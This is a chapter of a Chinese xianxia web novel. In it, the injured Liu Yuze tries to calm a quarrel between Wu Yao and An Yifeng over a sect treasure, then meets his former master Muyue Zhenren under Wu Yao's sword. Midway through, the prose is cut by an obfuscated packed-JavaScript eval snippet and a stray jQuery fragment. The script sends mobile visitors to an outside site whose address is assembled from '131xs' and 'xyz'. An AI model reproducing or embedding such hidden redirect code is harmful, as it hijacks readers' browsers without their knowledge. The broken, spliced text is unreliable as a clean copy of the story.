清晨的微光透过窗棂洒进来,柳玉泽缓缓睁开眼,愣了好一会儿,才尝试着缓缓起身。
昨天晚上邬曜又给他梳理了一遍经脉,他才在暖意融融的灵力流动中睡着了,半夜醒了一次,听到外面有马蹄声和问话声,大概是官府的人到了。他累极,又睡了,直到天光大亮。
此刻,他感觉身上的外伤已经好了不少,杜宣季的丹药果然管用。只是凡人血肉终究脆弱,疲乏与虚弱之感尚未完全褪去。
柳玉泽缓步推开门,靠在门框上,向外望去。不远处有十来个人忙着搬运尸体,清理登记,显然是从昨晚忙到了现在。这次死亡上百人,绝对是一等一的大案,
他看了一会儿,倒是没有人来盘问,应该是安意风邬曜那边都打理好了。晨光熹微,他望着匆匆而过的官差,有些出神。
不知道刘老头的尸身……
“看什么呢?”
一声轻问,思绪被打断,柳玉泽回过头,居然是安意风。
对方坐在一辆类似轮椅的法器上,悬浮离地,自动滑行。他脸色苍白,看样子也忙了半夜和官府对接,伤势未愈能,久站不成,才用了法器代步。
柳玉泽有点不好意思地挠挠脸,“没看什么。你辛苦了,官府那边好应付吗?”
安意风淡淡一笑,“无妨,今天紫霄宫也来人了,让我的师侄和他们交涉去吧。”
“事情闹得这么大?”柳玉泽道,“西陵知府那边态度如何?”
“知府那边倒是还好,不过长道宗也派人来了。柳公子,你是长道宗出身吧,要不要去见见?”
柳玉泽一手标准的无恨剑法,旁人不想看出来也难。虽然可以推脱说是邬曜教的,只是邬曜出手往往一击毙命,也看不出什么“无恨剑法创始人”的端倪,这么把人供出去也不太好。
柳玉泽嘴角抽了抽,道:“实不相瞒,我是被逐出师门的。如今连修仙都不成,长道宗更是躲都来不及,我还是不触霉头了。”
安意风笑道,“原来如此,是我唐突了。不过昨日之事,于安某而言,说是救命之恩也不为过。日后若柳公子有需要,尽管开口。”
他很清楚,昨天若不是柳玉泽的态度,邬曜真有可能把他杀了。后面与无相缠斗时更不必说,无相屡次要取他性命,柳玉泽身上一半的伤都是替他扛的。
柳玉泽摆摆手,一本正经道:“哎呀,不必多谢,本侠向来深藏功与名,只留帅气在人间!”
安意风笑了,牵起他的手,“还没用过早膳吧?走,我们吃点东西去。”
柳玉泽肚子还真饿了,正准备跟着走,忽然闪出的身影挡住两人的去路。
“站住。”
邬曜冷着一张脸,手里拎着个油纸包,眼神扫过安意风,“你要带他去哪儿?”
安意风哭笑不得,“剑尊大人误会了,官家借了农户的火灶准备了早膳,我们正准备去。”
邬曜拿起手中的油纸包,语气毋庸置疑:“有早饭了,他身体没恢复,不能下床太久,不去了。”
柳玉泽刚想皱眉反驳,就看到安意风皮笑肉不笑盯着邬曜,“我昨天问您的话,您传达给柳公子了吗?”
邬曜淡淡道:“自然。”
安意风转向柳玉泽,眼神带着探究:“真的转达了?”
柳玉泽一头雾水,昨天晚上邬曜确实和他讲了紫霄宫秘宝的能力和使用方法,可两人这剑拔弩张的气氛,显然另有隐情。
邬曜的语气冷了下来:“你们紫霄宫来的几个人,我还不放在眼里。”
安意风的笑意淡了几分,“剑尊大人说笑了,二位都是我们紫霄宫的恩人,多亏两位,才能化险为夷,寻回秘宝,现在又是何必如此呢?”
邬曜冷冷道:“你们紫霄宫既然要报恩,又何必一大清早来游说?”
柳玉泽心思何等聪明,这算是听明白了,他俩在为秘宝吵架呢。
这次柳玉泽受了这么重的伤,邬曜对紫霄宫略有不爽,本来就不关他俩的事,纯粹是被安意风一手带进来了。邬曜本来对帮忙没感觉,举手之劳,但柳玉泽救人把自己的命都要救没了,邬曜就有点烦了。
而现在,紫霄宫的秘宝又落在了柳玉泽手里,这宝物没有攻击力,却是逆天的保命法宝,因果律级别的东西,非常适配柳玉泽,邬曜压根不想还回去。
留着给柳玉泽保命用,多好,用完一次再还给紫霄宫。
紫霄宫却担心,万一柳玉泽用过后再转给别人,谁能保证还会归还?加之邬曜这种级别的大能,此时松口,就更难要回来了。
两边都不肯退让,就形成了僵局。
安意风昨天请邬曜询问柳玉泽自己的意见,邬曜没问,只捡着讲了点儿秘宝用法。今天他便过来找柳玉泽,打算吃完早饭,亲自同他讲。
见两人又要吵起来了,柳玉泽连忙上前,一手牵一个,把人拦住。
“多大点事儿啊,小安你等着,我等会儿回房间给你拿。”
旁边的邬曜脸色一沉,他之所以不告诉柳玉泽,就是知道柳玉泽一定会把秘宝还回去。
柳玉泽冲邬曜眨眨眼睛,“哎呀,我身边不是有你吗?我也遇不到那种危险,拿了秘宝说不定也用不上。”
邬曜冷冷道,“遇不到危险?你知道我昨天晚上给你检查,你身上有二十多道伤吗?”
“现在这不是没事了嘛,我又生龙活虎了……”柳玉泽打了个哈哈,试图蒙混过关。
见邬曜脸色铁青,他又贼兮兮地补了一句:“再说,秘宝要送给下一个人才能生效,我送给小安,不也能为我扭转生死?”
“秘宝生效有距离限制。”邬曜几乎是咬着牙说,“你一口一个小安,你和他很熟吗?”
柳玉泽眨眨眼,一时间没跟上这个跳跃的话题,“你……那我也这样叫你?小曜?”
邬曜脸色更差,把手里的油纸包往他怀里一扔,便转身走了,背影冷得跟一座冰山似的。
柳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332775|183315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玉泽呆呆地拿着那个油纸包,人都没影了,才低头一看,竟然是油炸糍粑。
这东西村里没有,他是一大早赶回西陵城给我买的吗?
柳玉泽有点愧疚了,以他的速度,也得几个时辰吧?还有,他想留下秘宝,也是为了保我的命……
看见柳玉泽的神色变化,安意风松开他的手,笑着拍了拍他,“秘宝的事,先不急,你去劝劝剑尊大人吧。为表感谢,我们紫霄宫愿赠予一件玄阶防御法器,只是秘宝……实在是事关重大,抱歉。”
灵材法器,通常分为“天地玄黄,宇宙洪荒”八个等级,天地难求,玄阶法器,已经是最顶尖的法器了。
柳玉泽也知道安意风“宗门至上”的性格,便点点头。两人又聊了几句,安意风便告辞了。
柳玉泽想找邬曜,却不知道人到哪里去了。
他腿脚还没完全好,只能捡了根棍子当拐杖,一边拄着走,一边“小曜”“小曜”地喊。
邬曜绝对能感应到,就是不知道他什么时候消气。柳玉泽咬了一口糍粑,一边嚼一边大声道:“小曜,我错了,你对我真好,你以后就是我两肋插刀的好兄弟,你说往东我绝不往西!”
“小曜,我保证再也不气你了!你出来见见我呗!”
“小曜……”
柳玉泽念念叨叨喊了一路,糍粑也吃完了,邬曜也没出现。
不对吧?他皱皱眉,邬曜有这么爱耍脾气吗?
走着走着,柳玉泽就来到了村子中央,也就是村口的位置。
忽然,他感受到一股灵力波动,特别熟悉,熟悉得让他想吐。
柳玉泽脚步猛地停顿,心脏像被什么狠狠攥住。
村口的空地上,慕月真人负手而立,衣袍如雪,神色依旧温润如玉——只是那双眼里,藏着柳玉泽永生难忘的寒意。
正是这个人,把他推出去顶罪;也是这个人,亲手剃去了他的剑骨,让他从天才弟子沦为废人。
而此刻,邬曜手持长剑,剑尖直指慕月真人的咽喉,周身剑意凌厉如霜。
紫霄宫的几位弟子,长道宗的几位弟子,还有看热闹的凡人,围成一圈,神色凝重;西陵县的知府站在一旁,面色铁青,显然不知该如何应对这种修仙界的对峙。
空气像凝固了一般,连风吹过都带着冷意。
“好啊。”邬曜的声音低沉而冷冽,“你们把他的命给我,我就给你们秘宝。”
这句话像一块巨石投入湖面,激起层层涟漪。紫霄宫弟子面面相觑,有人迷惑,有人犹豫;长道宗的弟子更是想直接上去骂人;知府则是一脸为难,他既不敢得罪紫霄宫,也不敢得罪长道宗,更不敢轻易让邬曜在自己地盘上动手杀其他修仙者。
柳玉泽的呼吸变得急促,手中的木棍几乎要被捏断。他想开口,却发现嗓子像被堵住一般。
慕月真人含笑道:“不知我何时得罪了这位剑尊大人?”
柳玉泽心跳加速,转身就跑。